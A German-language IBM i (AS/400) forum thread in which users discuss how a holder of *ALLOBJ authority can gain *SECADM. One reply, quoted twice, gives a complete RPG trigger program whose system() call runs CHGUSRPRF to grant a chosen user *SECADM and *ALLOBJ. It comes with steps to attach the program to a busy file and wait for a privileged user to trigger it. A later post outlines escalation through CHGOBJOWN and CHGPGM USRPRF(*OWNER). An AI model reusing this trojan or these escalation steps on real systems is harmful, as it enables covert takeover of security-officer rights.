Mit Java holt man sich Sicherheitslücken ins Haus...

[CKA]

Aber, wie Dieter schon schreibt und ich schon vielfach nachgewiesen habe, mit *ALLOBJ kann ich mir *SECADM beschaffen.

aha und wie ? würde mich echt interessieren ob man *secadm rechte beschaffen kann ...

[malzusrex]

Mit Gedult und Spucke

spontan fällt mir da folgendes ein:

1.) Schreibe ein kleines Triggerprogramm

h dftactgrp(*no) bnddir('QC2LE')                                           
h datfmt(*dmy.) timfmt(*hms:) datedit(*dmy.) decedit('0,') debug(*yes)     
d True            c                   *On                                  
d False           c                   *Off                                 
d parm1           ds         32768                                         
d parm2           ds                                                       
d system          pr            10i 0 extproc('system')                    
d                                 *   value options(*string)               
c     *Entry        PList                                                  
c     parm1         parm                    parm1                          
c     parm2         parm                    parm2                          
c                   Eval       *inlr = True                                
c                   CallP      System( 'chgusrprf usrprf(MyUser) ' +         
c                                      ' spcaut(*Secadm *AllObj)' ) 

2.) Trigger auf eine Datei klemmen die häufig benötigt, aber eben auch mal frei ist um den trigger ran zu tackern. AUf die Read-Op reicht ja

3.) Warten bis ein User mit ausreichend Berechtigung auf der Datei vorbei schaut.

Und schon hat man *SECADM

Gruß
Ronald

[nico1964]

Und wenn Du dann noch Glück hast und täglich ein IPL stattfindet, dann hast überhaupt kein Problem den richtigen Zeitpunkt zu erwischen

[CKA]

@nico1964
kannst du mir da mal mehr Infos dazu geben ?
Ist halt schon gut zu Wissen welche Tricks es gibt um sein System sicherer zu machen .
Also das mit *allobj hab ich gefressen

[BenderD]

... dazu braucht es nicht mal *ALLOBJ...
und auf den mesiten Maschinen wird nicht einmal das Audit Journal eingesetzt...

Mit Gedult und Spucke

spontan fällt mir da folgendes ein:

1.) Schreibe ein kleines Triggerprogramm

h dftactgrp(*no) bnddir('QC2LE')                                           
h datfmt(*dmy.) timfmt(*hms:) datedit(*dmy.) decedit('0,') debug(*yes)     
d True            c                   *On                                  
d False           c                   *Off                                 
d parm1           ds         32768                                         
d parm2           ds                                                       
d system          pr            10i 0 extproc('system')                    
d                                 *   value options(*string)               
c     *Entry        PList                                                  
c     parm1         parm                    parm1                          
c     parm2         parm                    parm2                          
c                   Eval       *inlr = True                                
c                   CallP      System( 'chgusrprf usrprf(MyUser) ' +         
c                                      ' spcaut(*Secadm *AllObj)' ) 

2.) Trigger auf eine Datei klemmen die häufig benötigt, aber eben auch mal frei ist um den trigger ran zu tackern. AUf die Read-Op reicht ja

3.) Warten bis ein User mit ausreichend Berechtigung auf der Datei vorbei schaut.

Und schon hat man *SECADM

Gruß
Ronald

[Fuerchau]

Sobald ich *ALLOBJ habe kann ich mit ein wenig Energie mir SECADM geben.
Auch ohne PDM o.ä. kann ich per SQL (z.B. OpsNav, u.v.a.) ein CLP obiger Art schreiben.
Immerhin kann man ja auch QCMDEXC aus CLP aufrufen, da verhindert der Compiler eben nichts!

Mittels *ALLOBJ kann ich dem QSECOFR Objekte zuordnen CHGOBJOWN und dann per CHGPGM ... USRPRF(*OWNER) alles machen, was der QSECOFR darf, also auch einen CHGUSRPRF.